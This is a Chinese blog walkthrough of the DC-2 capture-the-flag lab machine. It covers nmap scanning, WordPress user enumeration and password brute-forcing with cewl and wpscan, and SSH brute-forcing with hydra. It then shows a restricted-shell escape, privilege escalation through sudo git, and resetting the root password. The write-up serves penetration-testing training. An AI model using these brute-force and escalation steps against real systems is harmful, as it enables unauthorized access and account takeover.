DC-2靶机

本文讲述了使用nmap工具进行网络扫描,解决域名解析问题,通过cewl和wpscan工具破解WordPress密码,最终通过SSH和git获取旗标的详细过程。涉及技术包括网络探测、密码破解和Web应用安全。
摘要由CSDN通过智能技术生成

nmap扫描

nmap -sP -v 192.168.1.0/24

nmap - T -sP 192.168.1.0/24 -oN nmap1.sP

我们发现浏览器访问http://192.168.220.132,发现无法正常访问页面,但在url地址栏会有http://dc-2域名提示,发现问题是本地无法解析域名dc-2

我们需要配置编辑/etc/hosts文件,添加靶机IP地址及对应域名:192.168.1.150  dc-2

vim /etc/hosts
192.168.1.150  dc-2

添加域名解析后,可以正常访问网页信息,并能在Flag页面找到flag1

提示使用cewl密码字典生成工具,并且在登录后可以找到下一个flag

flag1提示可以登录,但正常访问网页无法找到登录页面,所以使用nikto工具扫描网站结构,找到wp-login.php登录页面

nikto -h dc-2 -o nikto-dc2.txt
cat dc-2.nikto 

一般WordPress网站都会有admin用户,但需要爆破密码

使用wpscan工具扫描网站,获取可以登录网站的用户名,扫描后可以找到三个用户名:admin、tom、jerry

wpscan --url dc-2 -e u

 将扫描到的三个用户名添加到dc-2users.list

  1. vim dc-2users.list

  2. admin

  3. tom

  4. jerry

 

 使用flag1中提示的工具cewl生成密码字典dc-2pass.dic

  1. cewl dc-2 -w dc-2.dic

  2. cat  dc-2.dic

 wpscan --url dc-2 -U dc-2users.list -P dc-2.dic

  1. jerry / adipiscing

  2. tom / parturient

使用tom用户登录论坛,没找到有用信息

再使用jerry用户登录论坛,可以找到flag2,再无其他有用信息

Flag2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

如果你不能利用WordPress并抄近路,还有别的办法。

希望你能找到另一个切入点。

Flag2提示从另外一个方向切入,所以80端口切入失败,这时用到另外一个7744(ssh)端口

 使用hydra工具使用已生成的密码字典对已知的用户名进行ssh登录密码爆破

获得ssh登录用户:tom / parturient

  1. hydra -L dc-2users.list  -P dc-2pass.dic  192.168.220.132 ssh -s 7744

  2. login: tom   password: parturient

 使用tom用户ssh登录

ssh tom@192.168.220.132 -p 7744

 使用tom用户ssh登录后,使用 ls 命令在家目录中找到flag3.txt,有一个 su 提示应该切换用户

 但发现tom只能使用less、ls、scp、vi命令,无法直接使用su命令切换用户

Flag3:

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。

BASH_CMDS[a]=/bin/sh ; a  #调用/bin/sh命令解释器
/bin/bash   #使用bash命令解释器
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin  #设置环境变量

 切换到jerry用户,进入jerry家目录下

su jerry 

adipiscing #jerry用户登录密码

ls 找到flag4.txt,提示使用git 命令

Flag4:

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!). 

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

  1. sudo -l  #查看可以使用root权限无密码的命令,有git命令

  2. sudo git -p –-help  #提权


 whoami   #查看当前用户

  1. passwd  root   #修改root密码

  2. 123456 #密码修改为:123456

 su root   #切换到root用户
cd /root  #进入到root家目录下
ls    #找到final-flag.txt

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值